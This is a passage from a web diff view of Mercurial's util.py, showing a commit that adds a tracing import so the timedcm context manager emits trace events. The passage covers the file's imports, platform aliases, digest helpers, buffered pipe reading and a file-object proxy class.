##// END OF EJS Templates
util: make timedcm context manager also emit trace events...
Augie Fackler -
r39293:497effb0 default
parent child Browse files
Show More
@@ -1,3875 +1,3877
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import bz2
19 import bz2
20 import collections
20 import collections
21 import contextlib
21 import contextlib
22 import errno
22 import errno
23 import gc
23 import gc
24 import hashlib
24 import hashlib
25 import itertools
25 import itertools
26 import mmap
26 import mmap
27 import os
27 import os
28 import platform as pyplatform
28 import platform as pyplatform
29 import re as remod
29 import re as remod
30 import shutil
30 import shutil
31 import socket
31 import socket
32 import stat
32 import stat
33 import sys
33 import sys
34 import time
34 import time
35 import traceback
35 import traceback
36 import warnings
36 import warnings
37 import zlib
37 import zlib
38
38
39 from hgdemandimport import tracing
39 from .thirdparty import (
40 from .thirdparty import (
40 attr,
41 attr,
41 )
42 )
42 from . import (
43 from . import (
43 encoding,
44 encoding,
44 error,
45 error,
45 i18n,
46 i18n,
46 node as nodemod,
47 node as nodemod,
47 policy,
48 policy,
48 pycompat,
49 pycompat,
49 urllibcompat,
50 urllibcompat,
50 )
51 )
51 from .utils import (
52 from .utils import (
52 procutil,
53 procutil,
53 stringutil,
54 stringutil,
54 )
55 )
55
56
56 base85 = policy.importmod(r'base85')
57 base85 = policy.importmod(r'base85')
57 osutil = policy.importmod(r'osutil')
58 osutil = policy.importmod(r'osutil')
58 parsers = policy.importmod(r'parsers')
59 parsers = policy.importmod(r'parsers')
59
60
60 b85decode = base85.b85decode
61 b85decode = base85.b85decode
61 b85encode = base85.b85encode
62 b85encode = base85.b85encode
62
63
63 cookielib = pycompat.cookielib
64 cookielib = pycompat.cookielib
64 httplib = pycompat.httplib
65 httplib = pycompat.httplib
65 pickle = pycompat.pickle
66 pickle = pycompat.pickle
66 safehasattr = pycompat.safehasattr
67 safehasattr = pycompat.safehasattr
67 socketserver = pycompat.socketserver
68 socketserver = pycompat.socketserver
68 bytesio = pycompat.bytesio
69 bytesio = pycompat.bytesio
69 # TODO deprecate stringio name, as it is a lie on Python 3.
70 # TODO deprecate stringio name, as it is a lie on Python 3.
70 stringio = bytesio
71 stringio = bytesio
71 xmlrpclib = pycompat.xmlrpclib
72 xmlrpclib = pycompat.xmlrpclib
72
73
73 httpserver = urllibcompat.httpserver
74 httpserver = urllibcompat.httpserver
74 urlerr = urllibcompat.urlerr
75 urlerr = urllibcompat.urlerr
75 urlreq = urllibcompat.urlreq
76 urlreq = urllibcompat.urlreq
76
77
77 # workaround for win32mbcs
78 # workaround for win32mbcs
78 _filenamebytestr = pycompat.bytestr
79 _filenamebytestr = pycompat.bytestr
79
80
80 if pycompat.iswindows:
81 if pycompat.iswindows:
81 from . import windows as platform
82 from . import windows as platform
82 else:
83 else:
83 from . import posix as platform
84 from . import posix as platform
84
85
85 _ = i18n._
86 _ = i18n._
86
87
87 bindunixsocket = platform.bindunixsocket
88 bindunixsocket = platform.bindunixsocket
88 cachestat = platform.cachestat
89 cachestat = platform.cachestat
89 checkexec = platform.checkexec
90 checkexec = platform.checkexec
90 checklink = platform.checklink
91 checklink = platform.checklink
91 copymode = platform.copymode
92 copymode = platform.copymode
92 expandglobs = platform.expandglobs
93 expandglobs = platform.expandglobs
93 getfsmountpoint = platform.getfsmountpoint
94 getfsmountpoint = platform.getfsmountpoint
94 getfstype = platform.getfstype
95 getfstype = platform.getfstype
95 groupmembers = platform.groupmembers
96 groupmembers = platform.groupmembers
96 groupname = platform.groupname
97 groupname = platform.groupname
97 isexec = platform.isexec
98 isexec = platform.isexec
98 isowner = platform.isowner
99 isowner = platform.isowner
99 listdir = osutil.listdir
100 listdir = osutil.listdir
100 localpath = platform.localpath
101 localpath = platform.localpath
101 lookupreg = platform.lookupreg
102 lookupreg = platform.lookupreg
102 makedir = platform.makedir
103 makedir = platform.makedir
103 nlinks = platform.nlinks
104 nlinks = platform.nlinks
104 normpath = platform.normpath
105 normpath = platform.normpath
105 normcase = platform.normcase
106 normcase = platform.normcase
106 normcasespec = platform.normcasespec
107 normcasespec = platform.normcasespec
107 normcasefallback = platform.normcasefallback
108 normcasefallback = platform.normcasefallback
108 openhardlinks = platform.openhardlinks
109 openhardlinks = platform.openhardlinks
109 oslink = platform.oslink
110 oslink = platform.oslink
110 parsepatchoutput = platform.parsepatchoutput
111 parsepatchoutput = platform.parsepatchoutput
111 pconvert = platform.pconvert
112 pconvert = platform.pconvert
112 poll = platform.poll
113 poll = platform.poll
113 posixfile = platform.posixfile
114 posixfile = platform.posixfile
114 rename = platform.rename
115 rename = platform.rename
115 removedirs = platform.removedirs
116 removedirs = platform.removedirs
116 samedevice = platform.samedevice
117 samedevice = platform.samedevice
117 samefile = platform.samefile
118 samefile = platform.samefile
118 samestat = platform.samestat
119 samestat = platform.samestat
119 setflags = platform.setflags
120 setflags = platform.setflags
120 split = platform.split
121 split = platform.split
121 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
122 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
122 statisexec = platform.statisexec
123 statisexec = platform.statisexec
123 statislink = platform.statislink
124 statislink = platform.statislink
124 umask = platform.umask
125 umask = platform.umask
125 unlink = platform.unlink
126 unlink = platform.unlink
126 username = platform.username
127 username = platform.username
127
128
128 try:
129 try:
129 recvfds = osutil.recvfds
130 recvfds = osutil.recvfds
130 except AttributeError:
131 except AttributeError:
131 pass
132 pass
132
133
133 # Python compatibility
134 # Python compatibility
134
135
135 _notset = object()
136 _notset = object()
136
137
137 def bitsfrom(container):
138 def bitsfrom(container):
138 bits = 0
139 bits = 0
139 for bit in container:
140 for bit in container:
140 bits |= bit
141 bits |= bit
141 return bits
142 return bits
142
143
143 # python 2.6 still have deprecation warning enabled by default. We do not want
144 # python 2.6 still have deprecation warning enabled by default. We do not want
144 # to display anything to standard user so detect if we are running test and
145 # to display anything to standard user so detect if we are running test and
145 # only use python deprecation warning in this case.
146 # only use python deprecation warning in this case.
146 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
147 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
147 if _dowarn:
148 if _dowarn:
148 # explicitly unfilter our warning for python 2.7
149 # explicitly unfilter our warning for python 2.7
149 #
150 #
150 # The option of setting PYTHONWARNINGS in the test runner was investigated.
151 # The option of setting PYTHONWARNINGS in the test runner was investigated.
151 # However, module name set through PYTHONWARNINGS was exactly matched, so
152 # However, module name set through PYTHONWARNINGS was exactly matched, so
152 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
153 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
153 # makes the whole PYTHONWARNINGS thing useless for our usecase.
154 # makes the whole PYTHONWARNINGS thing useless for our usecase.
154 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
155 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
155 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
156 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
156 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
157 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
157 if _dowarn and pycompat.ispy3:
158 if _dowarn and pycompat.ispy3:
158 # silence warning emitted by passing user string to re.sub()
159 # silence warning emitted by passing user string to re.sub()
159 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
160 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
160 r'mercurial')
161 r'mercurial')
161 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
162 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
162 DeprecationWarning, r'mercurial')
163 DeprecationWarning, r'mercurial')
163 # TODO: reinvent imp.is_frozen()
164 # TODO: reinvent imp.is_frozen()
164 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
165 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
165 DeprecationWarning, r'mercurial')
166 DeprecationWarning, r'mercurial')
166
167
167 def nouideprecwarn(msg, version, stacklevel=1):
168 def nouideprecwarn(msg, version, stacklevel=1):
168 """Issue an python native deprecation warning
169 """Issue an python native deprecation warning
169
170
170 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
171 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
171 """
172 """
172 if _dowarn:
173 if _dowarn:
173 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
174 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
174 " update your code.)") % version
175 " update your code.)") % version
175 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
176 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
176
177
177 DIGESTS = {
178 DIGESTS = {
178 'md5': hashlib.md5,
179 'md5': hashlib.md5,
179 'sha1': hashlib.sha1,
180 'sha1': hashlib.sha1,
180 'sha512': hashlib.sha512,
181 'sha512': hashlib.sha512,
181 }
182 }
182 # List of digest types from strongest to weakest
183 # List of digest types from strongest to weakest
183 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
184 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
184
185
185 for k in DIGESTS_BY_STRENGTH:
186 for k in DIGESTS_BY_STRENGTH:
186 assert k in DIGESTS
187 assert k in DIGESTS
187
188
188 class digester(object):
189 class digester(object):
189 """helper to compute digests.
190 """helper to compute digests.
190
191
191 This helper can be used to compute one or more digests given their name.
192 This helper can be used to compute one or more digests given their name.
192
193
193 >>> d = digester([b'md5', b'sha1'])
194 >>> d = digester([b'md5', b'sha1'])
194 >>> d.update(b'foo')
195 >>> d.update(b'foo')
195 >>> [k for k in sorted(d)]
196 >>> [k for k in sorted(d)]
196 ['md5', 'sha1']
197 ['md5', 'sha1']
197 >>> d[b'md5']
198 >>> d[b'md5']
198 'acbd18db4cc2f85cedef654fccc4a4d8'
199 'acbd18db4cc2f85cedef654fccc4a4d8'
199 >>> d[b'sha1']
200 >>> d[b'sha1']
200 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
201 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
201 >>> digester.preferred([b'md5', b'sha1'])
202 >>> digester.preferred([b'md5', b'sha1'])
202 'sha1'
203 'sha1'
203 """
204 """
204
205
205 def __init__(self, digests, s=''):
206 def __init__(self, digests, s=''):
206 self._hashes = {}
207 self._hashes = {}
207 for k in digests:
208 for k in digests:
208 if k not in DIGESTS:
209 if k not in DIGESTS:
209 raise error.Abort(_('unknown digest type: %s') % k)
210 raise error.Abort(_('unknown digest type: %s') % k)
210 self._hashes[k] = DIGESTS[k]()
211 self._hashes[k] = DIGESTS[k]()
211 if s:
212 if s:
212 self.update(s)
213 self.update(s)
213
214
214 def update(self, data):
215 def update(self, data):
215 for h in self._hashes.values():
216 for h in self._hashes.values():
216 h.update(data)
217 h.update(data)
217
218
218 def __getitem__(self, key):
219 def __getitem__(self, key):
219 if key not in DIGESTS:
220 if key not in DIGESTS:
220 raise error.Abort(_('unknown digest type: %s') % k)
221 raise error.Abort(_('unknown digest type: %s') % k)
221 return nodemod.hex(self._hashes[key].digest())
222 return nodemod.hex(self._hashes[key].digest())
222
223
223 def __iter__(self):
224 def __iter__(self):
224 return iter(self._hashes)
225 return iter(self._hashes)
225
226
226 @staticmethod
227 @staticmethod
227 def preferred(supported):
228 def preferred(supported):
228 """returns the strongest digest type in both supported and DIGESTS."""
229 """returns the strongest digest type in both supported and DIGESTS."""
229
230
230 for k in DIGESTS_BY_STRENGTH:
231 for k in DIGESTS_BY_STRENGTH:
231 if k in supported:
232 if k in supported:
232 return k
233 return k
233 return None
234 return None
234
235
235 class digestchecker(object):
236 class digestchecker(object):
236 """file handle wrapper that additionally checks content against a given
237 """file handle wrapper that additionally checks content against a given
237 size and digests.
238 size and digests.
238
239
239 d = digestchecker(fh, size, {'md5': '...'})
240 d = digestchecker(fh, size, {'md5': '...'})
240
241
241 When multiple digests are given, all of them are validated.
242 When multiple digests are given, all of them are validated.
242 """
243 """
243
244
244 def __init__(self, fh, size, digests):
245 def __init__(self, fh, size, digests):
245 self._fh = fh
246 self._fh = fh
246 self._size = size
247 self._size = size
247 self._got = 0
248 self._got = 0
248 self._digests = dict(digests)
249 self._digests = dict(digests)
249 self._digester = digester(self._digests.keys())
250 self._digester = digester(self._digests.keys())
250
251
251 def read(self, length=-1):
252 def read(self, length=-1):
252 content = self._fh.read(length)
253 content = self._fh.read(length)
253 self._digester.update(content)
254 self._digester.update(content)
254 self._got += len(content)
255 self._got += len(content)
255 return content
256 return content
256
257
257 def validate(self):
258 def validate(self):
258 if self._size != self._got:
259 if self._size != self._got:
259 raise error.Abort(_('size mismatch: expected %d, got %d') %
260 raise error.Abort(_('size mismatch: expected %d, got %d') %
260 (self._size, self._got))
261 (self._size, self._got))
261 for k, v in self._digests.items():
262 for k, v in self._digests.items():
262 if v != self._digester[k]:
263 if v != self._digester[k]:
263 # i18n: first parameter is a digest name
264 # i18n: first parameter is a digest name
264 raise error.Abort(_('%s mismatch: expected %s, got %s') %
265 raise error.Abort(_('%s mismatch: expected %s, got %s') %
265 (k, v, self._digester[k]))
266 (k, v, self._digester[k]))
266
267
267 try:
268 try:
268 buffer = buffer
269 buffer = buffer
269 except NameError:
270 except NameError:
270 def buffer(sliceable, offset=0, length=None):
271 def buffer(sliceable, offset=0, length=None):
271 if length is not None:
272 if length is not None:
272 return memoryview(sliceable)[offset:offset + length]
273 return memoryview(sliceable)[offset:offset + length]
273 return memoryview(sliceable)[offset:]
274 return memoryview(sliceable)[offset:]
274
275
275 _chunksize = 4096
276 _chunksize = 4096
276
277
277 class bufferedinputpipe(object):
278 class bufferedinputpipe(object):
278 """a manually buffered input pipe
279 """a manually buffered input pipe
279
280
280 Python will not let us use buffered IO and lazy reading with 'polling' at
281 Python will not let us use buffered IO and lazy reading with 'polling' at
281 the same time. We cannot probe the buffer state and select will not detect
282 the same time. We cannot probe the buffer state and select will not detect
282 that data are ready to read if they are already buffered.
283 that data are ready to read if they are already buffered.
283
284
284 This class let us work around that by implementing its own buffering
285 This class let us work around that by implementing its own buffering
285 (allowing efficient readline) while offering a way to know if the buffer is
286 (allowing efficient readline) while offering a way to know if the buffer is
286 empty from the output (allowing collaboration of the buffer with polling).
287 empty from the output (allowing collaboration of the buffer with polling).
287
288
288 This class lives in the 'util' module because it makes use of the 'os'
289 This class lives in the 'util' module because it makes use of the 'os'
289 module from the python stdlib.
290 module from the python stdlib.
290 """
291 """
291 def __new__(cls, fh):
292 def __new__(cls, fh):
292 # If we receive a fileobjectproxy, we need to use a variation of this
293 # If we receive a fileobjectproxy, we need to use a variation of this
293 # class that notifies observers about activity.
294 # class that notifies observers about activity.
294 if isinstance(fh, fileobjectproxy):
295 if isinstance(fh, fileobjectproxy):
295 cls = observedbufferedinputpipe
296 cls = observedbufferedinputpipe
296
297
297 return super(bufferedinputpipe, cls).__new__(cls)
298 return super(bufferedinputpipe, cls).__new__(cls)
298
299
299 def __init__(self, input):
300 def __init__(self, input):
300 self._input = input
301 self._input = input
301 self._buffer = []
302 self._buffer = []
302 self._eof = False
303 self._eof = False
303 self._lenbuf = 0
304 self._lenbuf = 0
304
305
305 @property
306 @property
306 def hasbuffer(self):
307 def hasbuffer(self):
307 """True is any data is currently buffered
308 """True is any data is currently buffered
308
309
309 This will be used externally a pre-step for polling IO. If there is
310 This will be used externally a pre-step for polling IO. If there is
310 already data then no polling should be set in place."""
311 already data then no polling should be set in place."""
311 return bool(self._buffer)
312 return bool(self._buffer)
312
313
313 @property
314 @property
314 def closed(self):
315 def closed(self):
315 return self._input.closed
316 return self._input.closed
316
317
317 def fileno(self):
318 def fileno(self):
318 return self._input.fileno()
319 return self._input.fileno()
319
320
320 def close(self):
321 def close(self):
321 return self._input.close()
322 return self._input.close()
322
323
323 def read(self, size):
324 def read(self, size):
324 while (not self._eof) and (self._lenbuf < size):
325 while (not self._eof) and (self._lenbuf < size):
325 self._fillbuffer()
326 self._fillbuffer()
326 return self._frombuffer(size)
327 return self._frombuffer(size)
327
328
328 def unbufferedread(self, size):
329 def unbufferedread(self, size):
329 if not self._eof and self._lenbuf == 0:
330 if not self._eof and self._lenbuf == 0:
330 self._fillbuffer(max(size, _chunksize))
331 self._fillbuffer(max(size, _chunksize))
331 return self._frombuffer(min(self._lenbuf, size))
332 return self._frombuffer(min(self._lenbuf, size))
332
333
333 def readline(self, *args, **kwargs):
334 def readline(self, *args, **kwargs):
334 if 1 < len(self._buffer):
335 if 1 < len(self._buffer):
335 # this should not happen because both read and readline end with a
336 # this should not happen because both read and readline end with a
336 # _frombuffer call that collapse it.
337 # _frombuffer call that collapse it.
337 self._buffer = [''.join(self._buffer)]
338 self._buffer = [''.join(self._buffer)]
338 self._lenbuf = len(self._buffer[0])
339 self._lenbuf = len(self._buffer[0])
339 lfi = -1
340 lfi = -1
340 if self._buffer:
341 if self._buffer:
341 lfi = self._buffer[-1].find('\n')
342 lfi = self._buffer[-1].find('\n')
342 while (not self._eof) and lfi < 0:
343 while (not self._eof) and lfi < 0:
343 self._fillbuffer()
344 self._fillbuffer()
344 if self._buffer:
345 if self._buffer:
345 lfi = self._buffer[-1].find('\n')
346 lfi = self._buffer[-1].find('\n')
346 size = lfi + 1
347 size = lfi + 1
347 if lfi < 0: # end of file
348 if lfi < 0: # end of file
348 size = self._lenbuf
349 size = self._lenbuf
349 elif 1 < len(self._buffer):
350 elif 1 < len(self._buffer):
350 # we need to take previous chunks into account
351 # we need to take previous chunks into account
351 size += self._lenbuf - len(self._buffer[-1])
352 size += self._lenbuf - len(self._buffer[-1])
352 return self._frombuffer(size)
353 return self._frombuffer(size)
353
354
354 def _frombuffer(self, size):
355 def _frombuffer(self, size):
355 """return at most 'size' data from the buffer
356 """return at most 'size' data from the buffer
356
357
357 The data are removed from the buffer."""
358 The data are removed from the buffer."""
358 if size == 0 or not self._buffer:
359 if size == 0 or not self._buffer:
359 return ''
360 return ''
360 buf = self._buffer[0]
361 buf = self._buffer[0]
361 if 1 < len(self._buffer):
362 if 1 < len(self._buffer):
362 buf = ''.join(self._buffer)
363 buf = ''.join(self._buffer)
363
364
364 data = buf[:size]
365 data = buf[:size]
365 buf = buf[len(data):]
366 buf = buf[len(data):]
366 if buf:
367 if buf:
367 self._buffer = [buf]
368 self._buffer = [buf]
368 self._lenbuf = len(buf)
369 self._lenbuf = len(buf)
369 else:
370 else:
370 self._buffer = []
371 self._buffer = []
371 self._lenbuf = 0
372 self._lenbuf = 0
372 return data
373 return data
373
374
374 def _fillbuffer(self, size=_chunksize):
375 def _fillbuffer(self, size=_chunksize):
375 """read data to the buffer"""
376 """read data to the buffer"""
376 data = os.read(self._input.fileno(), size)
377 data = os.read(self._input.fileno(), size)
377 if not data:
378 if not data:
378 self._eof = True
379 self._eof = True
379 else:
380 else:
380 self._lenbuf += len(data)
381 self._lenbuf += len(data)
381 self._buffer.append(data)
382 self._buffer.append(data)
382
383
383 return data
384 return data
384
385
385 def mmapread(fp):
386 def mmapread(fp):
386 try:
387 try:
387 fd = getattr(fp, 'fileno', lambda: fp)()
388 fd = getattr(fp, 'fileno', lambda: fp)()
388 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
389 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
389 except ValueError:
390 except ValueError:
390 # Empty files cannot be mmapped, but mmapread should still work. Check
391 # Empty files cannot be mmapped, but mmapread should still work. Check
391 # if the file is empty, and if so, return an empty buffer.
392 # if the file is empty, and if so, return an empty buffer.
392 if os.fstat(fd).st_size == 0:
393 if os.fstat(fd).st_size == 0:
393 return ''
394 return ''
394 raise
395 raise
395
396
396 class fileobjectproxy(object):
397 class fileobjectproxy(object):
397 """A proxy around file objects that tells a watcher when events occur.
398 """A proxy around file objects that tells a watcher when events occur.
398
399
399 This type is intended to only be used for testing purposes. Think hard
400 This type is intended to only be used for testing purposes. Think hard
400 before using it in important code.
401 before using it in important code.
401 """
402 """
402 __slots__ = (
403 __slots__ = (
403 r'_orig',
404 r'_orig',
404 r'_observer',
405 r'_observer',
405 )
406 )
406
407
407 def __init__(self, fh, observer):
408 def __init__(self, fh, observer):
408 object.__setattr__(self, r'_orig', fh)
409 object.__setattr__(self, r'_orig', fh)
409 object.__setattr__(self, r'_observer', observer)
410 object.__setattr__(self, r'_observer', observer)
410
411
411 def __getattribute__(self, name):
412 def __getattribute__(self, name):
412 ours = {
413 ours = {
413 r'_observer',
414 r'_observer',
414
415
415 # IOBase
416 # IOBase
416 r'close',
417 r'close',
417 # closed if a property
418 # closed if a property
418 r'fileno',
419 r'fileno',
419 r'flush',
420 r'flush',
420 r'isatty',
421 r'isatty',
421 r'readable',
422 r'readable',
422 r'readline',
423 r'readline',
423 r'readlines',
424 r'readlines',
424 r'seek',
425 r'seek',
425 r'seekable',
426 r'seekable',
426 r'tell',
427 r'tell',
427 r'truncate',
428 r'truncate',
428 r'writable',
429 r'writable',
429 r'writelines',
430 r'writelines',
430 # RawIOBase
431 # RawIOBase
431 r'read',
432 r'read',
432 r'readall',
433 r'readall',
433 r'readinto',
434 r'readinto',
434 r'write',
435 r'write',
435 # BufferedIOBase
436 # BufferedIOBase
436 # raw is a property
437 # raw is a property
437 r'detach',
438 r'detach',
438 # read defined above
439 # read defined above
439 r'read1',
440 r'read1',
440 # readinto defined above
441 # readinto defined above
441 # write defined above
442 # write defined above
442 }
443 }
443
444
444 # We only observe some methods.
445 # We only observe some methods.
445 if name in ours:
446 if name in ours:
446 return object.__getattribute__(self, name)
447 return object.__getattribute__(self, name)
447
448
448 return getattr(object.__getattribute__(self, r'_orig'), name)
449 return getattr(object.__getattribute__(self, r'_orig'), name)
449
450
450 def __nonzero__(self):
451 def __nonzero__(self):
451 return bool(object.__getattribute__(self, r'_orig'))
452 return bool(object.__getattribute__(self, r'_orig'))
452
453
453 __bool__ = __nonzero__
454 __bool__ = __nonzero__
454
455
455 def __delattr__(self, name):
456 def __delattr__(self, name):
456 return delattr(object.__getattribute__(self, r'_orig'), name)
457 return delattr(object.__getattribute__(self, r'_orig'), name)
457
458
458 def __setattr__(self, name, value):
459 def __setattr__(self, name, value):
459 return setattr(object.__getattribute__(self, r'_orig'), name, value)
460 return setattr(object.__getattribute__(self, r'_orig'), name, value)
460
461
461 def __iter__(self):
462 def __iter__(self):
462 return object.__getattribute__(self, r'_orig').__iter__()
463 return object.__getattribute__(self, r'_orig').__iter__()
463
464
464 def _observedcall(self, name, *args, **kwargs):
465 def _observedcall(self, name, *args, **kwargs):
465 # Call the original object.
466 # Call the original object.
466 orig = object.__getattribute__(self, r'_orig')
467 orig = object.__getattribute__(self, r'_orig')
467 res = getattr(orig, name)(*args, **kwargs)
468 res = getattr(orig, name)(*args, **kwargs)
468
469
469 # Call a method on the observer of the same name with arguments
470 # Call a method on the observer of the same name with arguments
470 # so it can react, log, etc.
471 # so it can react, log, etc.
471 observer = object.__getattribute__(self, r'_observer')
472 observer = object.__getattribute__(self, r'_observer')
472 fn = getattr(observer, name, None)
473 fn = getattr(observer, name, None)
473 if fn:
474 if fn:
474 fn(res, *args, **kwargs)
475 fn(res, *args, **kwargs)
475
476
476 return res
477 return res
477
478
478 def close(self, *args, **kwargs):
479 def close(self, *args, **kwargs):
479 return object.__getattribute__(self, r'_observedcall')(
480 return object.__getattribute__(self, r'_observedcall')(
480 r'close', *args, **kwargs)
481 r'close', *args, **kwargs)
481
482
482 def fileno(self, *args, **kwargs):
483 def fileno(self, *args, **kwargs):
483 return object.__getattribute__(self, r'_observedcall')(
484 return object.__getattribute__(self, r'_observedcall')(
484 r'fileno', *args, **kwargs)
485 r'fileno', *args, **kwargs)
485
486
486 def flush(self, *args, **kwargs):
487 def flush(self, *args, **kwargs):
487 return object.__getattribute__(self, r'_observedcall')(
488 return object.__getattribute__(self, r'_observedcall')(
488 r'flush', *args, **kwargs)
489 r'flush', *args, **kwargs)
489
490
490 def isatty(self, *args, **kwargs):
491 def isatty(self, *args, **kwargs):
491 return object.__getattribute__(self, r'_observedcall')(
492 return object.__getattribute__(self, r'_observedcall')(
492 r'isatty', *args, **kwargs)
493 r'isatty', *args, **kwargs)
493
494
494 def readable(self, *args, **kwargs):
495 def readable(self, *args, **kwargs):
495 return object.__getattribute__(self, r'_observedcall')(
496 return object.__getattribute__(self, r'_observedcall')(
496 r'readable', *args, **kwargs)
497 r'readable', *args, **kwargs)
497
498
498 def readline(self, *args, **kwargs):
499 def readline(self, *args, **kwargs):
499 return object.__getattribute__(self, r'_observedcall')(
500 return object.__getattribute__(self, r'_observedcall')(
500 r'readline', *args, **kwargs)
501 r'readline', *args, **kwargs)
501
502
502 def readlines(self, *args, **kwargs):
503 def readlines(self, *args, **kwargs):
503 return object.__getattribute__(self, r'_observedcall')(
504 return object.__getattribute__(self, r'_observedcall')(
504 r'readlines', *args, **kwargs)
505 r'readlines', *args, **kwargs)
505
506
506 def seek(self, *args, **kwargs):
507 def seek(self, *args, **kwargs):
507 return object.__getattribute__(self, r'_observedcall')(
508 return object.__getattribute__(self, r'_observedcall')(
508 r'seek', *args, **kwargs)
509 r'seek', *args, **kwargs)
509
510
510 def seekable(self, *args, **kwargs):
511 def seekable(self, *args, **kwargs):
511 return object.__getattribute__(self, r'_observedcall')(
512 return object.__getattribute__(self, r'_observedcall')(
512 r'seekable', *args, **kwargs)
513 r'seekable', *args, **kwargs)
513
514
514 def tell(self, *args, **kwargs):
515 def tell(self, *args, **kwargs):
515 return object.__getattribute__(self, r'_observedcall')(
516 return object.__getattribute__(self, r'_observedcall')(
516 r'tell', *args, **kwargs)
517 r'tell', *args, **kwargs)
517
518
518 def truncate(self, *args, **kwargs):
519 def truncate(self, *args, **kwargs):
519 return object.__getattribute__(self, r'_observedcall')(
520 return object.__getattribute__(self, r'_observedcall')(
520 r'truncate', *args, **kwargs)
521 r'truncate', *args, **kwargs)
521
522
522 def writable(self, *args, **kwargs):
523 def writable(self, *args, **kwargs):
523 return object.__getattribute__(self, r'_observedcall')(
524 return object.__getattribute__(self, r'_observedcall')(
524 r'writable', *args, **kwargs)
525 r'writable', *args, **kwargs)
525
526
526 def writelines(self, *args, **kwargs):
527 def writelines(self, *args, **kwargs):
527 return object.__getattribute__(self, r'_observedcall')(
528 return object.__getattribute__(self, r'_observedcall')(
528 r'writelines', *args, **kwargs)
529 r'writelines', *args, **kwargs)
529
530
530 def read(self, *args, **kwargs):
531 def read(self, *args, **kwargs):
531 return object.__getattribute__(self, r'_observedcall')(
532 return object.__getattribute__(self, r'_observedcall')(
532 r'read', *args, **kwargs)
533 r'read', *args, **kwargs)
533
534
534 def readall(self, *args, **kwargs):
535 def readall(self, *args, **kwargs):
535 return object.__getattribute__(self, r'_observedcall')(
536 return object.__getattribute__(self, r'_observedcall')(
536 r'readall', *args, **kwargs)
537 r'readall', *args, **kwargs)
537
538
538 def readinto(self, *args, **kwargs):
539 def readinto(self, *args, **kwargs):
539 return object.__getattribute__(self, r'_observedcall')(
540 return object.__getattribute__(self, r'_observedcall')(
540 r'readinto', *args, **kwargs)
541 r'readinto', *args, **kwargs)
541
542
542 def write(self, *args, **kwargs):
543 def write(self, *args, **kwargs):
543 return object.__getattribute__(self, r'_observedcall')(
544 return object.__getattribute__(self, r'_observedcall')(
544 r'write', *args, **kwargs)
545 r'write', *args, **kwargs)
545
546
546 def detach(self, *args, **kwargs):
547 def detach(self, *args, **kwargs):
547 return object.__getattribute__(self, r'_observedcall')(
548 return object.__getattribute__(self, r'_observedcall')(
548 r'detach', *args, **kwargs)
549 r'detach', *args, **kwargs)
549
550
550 def read1(self, *args, **kwargs):
551 def read1(self, *args, **kwargs):
551 return object.__getattribute__(self, r'_observedcall')(
552 return object.__getattribute__(self, r'_observedcall')(
552 r'read1', *args, **kwargs)
553 r'read1', *args, **kwargs)
553
554
554 class observedbufferedinputpipe(bufferedinputpipe):
555 class observedbufferedinputpipe(bufferedinputpipe):
555 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
556 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
556
557
557 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
558 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
558 bypass ``fileobjectproxy``. Because of this, we need to make
559 bypass ``fileobjectproxy``. Because of this, we need to make
559 ``bufferedinputpipe`` aware of these operations.
560 ``bufferedinputpipe`` aware of these operations.
560
561
561 This variation of ``bufferedinputpipe`` can notify observers about
562 This variation of ``bufferedinputpipe`` can notify observers about
562 ``os.read()`` events. It also re-publishes other events, such as
563 ``os.read()`` events. It also re-publishes other events, such as
563 ``read()`` and ``readline()``.
564 ``read()`` and ``readline()``.
564 """
565 """
565 def _fillbuffer(self):
